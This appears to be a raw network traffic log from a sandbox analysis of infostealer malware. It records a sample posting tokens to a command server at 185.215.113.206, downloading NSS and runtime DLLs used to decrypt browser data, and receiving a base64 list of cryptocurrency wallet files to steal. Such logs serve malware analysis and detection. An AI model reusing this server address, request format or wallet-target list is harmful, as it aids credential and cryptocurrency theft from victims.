Nov 30, 2024 22:52:43.374726057 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:52:43.491149902 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file"------CGIDGCGIEGDGDGDGHJKK--
Nov 30, 2024 22:52:44.439403057 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49739	185.215.113.206	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:52:56.522185087 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="file"------CFBAFBFIEHIDBGDHCGIE--
Nov 30, 2024 22:52:58.365250111 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:52:58.788696051 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:52:59.231226921 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 30, 2024 22:52:59.231390953 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 30, 2024 22:52:59.231439114 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 30, 2024 22:52:59.231901884 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 30, 2024 22:52:59.231911898 CET	248	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 30, 2024 22:52:59.232461929 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 30, 2024 22:52:59.232472897 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 30, 2024 22:52:59.233247042 CET	248	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 30, 2024 22:52:59.233385086 CET	1236	IN	Data Raw: 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 Data Ascii: ]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}
Nov 30, 2024 22:52:59.241208076 CET	1236	IN	Data Raw: f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f Data Ascii: fo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFM
Nov 30, 2024 22:52:59.250137091 CET	248	IN	Data Raw: 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 07 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 Data Ascii: MEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}E
Nov 30, 2024 22:53:00.649163961 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:53:01.091573000 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 30, 2024 22:53:01.988648891 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:53:02.431113958 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 30, 2024 22:53:03.089328051 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:53:03.532104969 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 30, 2024 22:53:06.587652922 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:53:07.030200958 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 30, 2024 22:53:07.651282072 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:53:08.112122059 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 30, 2024 22:53:08.564142942 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:53:09.677551031 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:53:09.779664993 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"wallets------BGDAAKJJDAAKFHJKJKFC--
Nov 30, 2024 22:53:10.226035118 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 